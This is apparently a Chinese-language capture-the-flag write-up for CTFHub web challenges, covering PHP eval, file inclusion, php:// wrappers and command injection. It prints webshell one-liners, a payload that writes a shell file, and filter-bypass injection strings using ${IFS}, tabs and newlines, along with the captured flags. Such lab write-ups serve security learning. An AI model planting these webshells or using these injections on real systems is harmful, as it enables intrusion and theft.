eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
看下当前目录
?cmd=print_r(getcwd());
可以执行命令
print_r(system('ls'));
查看上级目录
?cmd=print_r(system('ls ../../../'));
直接cat flag
?cmd=print_r(system('cat ../../../flag_17045'));
==flag{ctfhub{1386122887aeba8899f58668} ==
容易导致其他问题的函数
assert() pcntl_exex()
array_filter() preg_replace()
array_map() require()
array_reduce() require_once()
array_diff_uassoc() register_shutdown_function()
array_diff_ukey() register_tick_function()
array_udiff() set_error_handler()
array_udiff_assoc() shell_exec()
array_udiff_uassoc() stream_filter_register()
array_intersect_assoc() system()
array_intersect_uassoc() usort()
array_uintersect() uasort()
array_uintersect_assoc() uksort()
array_uintersect_uassoc() xml_set_character_data_handler()
array_walk() xml_set_default_handler()
array_walk_recursive() xml_set_element_handler()
create_function() xml_set_external_entity_ref_handler()
escapeshellcmd() xml_set_notation_decl_handler()
exec() xml_set_processing_instruction_handler()
include xml_set_start_namespace_decl_handler()
include_once() xml_set_unparsed_entity_decl_handler()
ob_start()
passthru()
文件包含
有个shell文件
<?php eval($_REQUEST['ctfhub']);?>
包含shell.txt后可以通过post来传递参数,注意后面要加上个 ‘;’
直接cat /flag
flag: ctfhub{f2b453955e0f17c23a1bc9ac}
php://input
- php://input
可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据。 enctype=”multipart/form-data” 的时候 php://input 是无效的。
用法:?file=php://input 数据利用POST传过去。
- php://input (读取POST数据)
碰到file_get_contents()就要想到用php://input绕过,因为php伪协议也是可以利用http协议的,即可以使用POST方式传数据,具体函数意义下一项;
利用post传参写入一句话木马
<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[attack])?>');?>
flag: ctfhub{cb3d5ba59ebc6b2db398812f}
远程包含
PHP的配置文件allow_url_fopen和allow_url_include设置为ON,include/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
看php文件这两个都是打开的
这个得要台服务器,或者自个搭一个用内网穿透也行,远程包含自己的文件
比如之前的shell.txt
<?php eval($_REQUEST['ctfhub']);?>
我这里就不用了
有回显,还是能用上面的那个php://input来利用
<?php system('ls')?>
post直接传参
还是直接获取flag
<?php system('cat /flag')?>
flag : ctfhub{f5517ca3b04b51aa31b49aa4}
读取源代码
使用: php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php
提示flag在根目录下,直接看就行
?file=php://filter/read=convert.base64-encode/resource=../../../../../../flag
base64解码
flag: ctfhub{6b3a6d0e01d6832e740d3074}
命令注入
加上个分号,执行完ping就会执行ls命令
直接查看23032094216117.php,然后看源代码就能看到flag
ctfhub{27f12d5007ca3d45f7365bc6}
过滤cat
还是一样的操作,只不过他不能用cat命令了
可以用head命令来代替cat
其他常用的文本查看命令
cat:从第一行开始显示文本内容(适用于内容较少的)
tac:从最后一行开始显示,是 cat 的逆顺序
more:一页一页的显示文本内容(适用于内容较多的)
less:与 more 类似,但是比 more 更好的是,它可以往前翻页!
head:只看文本的前面几行
tail:只看文本的后面几行
nl:显示文本内容与行号
flag : ctfhub{99e637628c4511cfb8c681c2}
过滤空格
可以用==<==来代替空格
其他绕过空格的方式
cat flag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
flag: ctfhub{e9621b066f9456151a78a8d5}
过滤目录分隔符
可以直接进入该目录这样就不用目录分隔符了
flag : ctfhub{eeab934565c4d501dc410050}
过滤运算符
可以用这些字符代替
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|
没啥影响,直接用分号==;== 就行
flag:ctfhub{9769a758a85a9e8a83d591b4}
综合过滤练习
看了下过滤了很多东东
!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)
可以用==%0a==(换行符)来代替分隔符,用==%09==来代替空格
过滤flag可以用拼接的方法解决,比如
a=fl
b=ag_is_here
a a ab 就相当于flag_is_here
http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag_is_here%0als%09$a$b#
依旧还是用拼接的方法读取文件
http://challenge-46b3d1c36e3dccfa.sandbox.ctfhub.com:10800/?ip=0.1.1.1%0aa=fl%0ab=ag%0ac=_is_here%0acd%09$a$b$c%0ad=_2223101105257.php%0ahead%09$a$b$d#
flag: ctfhub{e30304e28433f41432168496}